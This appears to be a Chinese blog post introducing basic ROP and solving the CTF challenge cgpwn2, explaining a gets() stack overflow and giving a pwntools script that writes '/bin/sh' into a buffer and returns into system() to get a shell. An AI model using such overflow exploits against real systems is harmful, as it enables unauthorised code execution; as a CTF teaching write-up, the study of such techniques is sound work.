Basic rop学习

基本ROP

主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

ROP 攻击一般得满足如下条件:
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

简单例题:cgpwn2

首先,ida反编译main函数
在这里插入图片描述
可以看出,主要函数都在hello函数中,双击打开
在这里插入图片描述
可以看出,主要函数大部分都在后4行
查看源代码
在这里插入图片描述
首先要求我们输入一个名字,这个输入通过fgets函数完成,最多输入32h个字符到name区域

然后提示我们输入一些信息,通过gets函数完成输入,输入到s区域

name和s区域如下图所示
在这里插入图片描述
在这里插入图片描述
name区域是一个34h字符的区域,s区域的起始位置是运行时距离栈帧0x26个
字节的地方,大小不限

我们还可以看到有一个pwn函数
在这里插入图片描述
这个函数是利用系统调用打印"hehehe",存在一个call system

分析:

可以看到在hello函数中有一个部分我们用gets函数向栈的s区域读取了字符串,因此我们可以在使用输入时让输入的字符串覆盖栈上hello函数的返回地址,让程序执行完hello函数之后执行我们设计的部分

exp:

from pwn import *
from sys import *

context.log_level='debug'
context.arch = 'amd64'

p = process('./cgpwn2')

p.recvuntil("please tell me your name")
p.sendline("/bin/sh")

sys_addr=0x0804855a
name_addr=0x0804a080
payload = 'a'*0x26 + 'a'*4 + p32(sys_addr)+p32(name_addr)

p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)

p.interactive()

执行就get shell了:
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值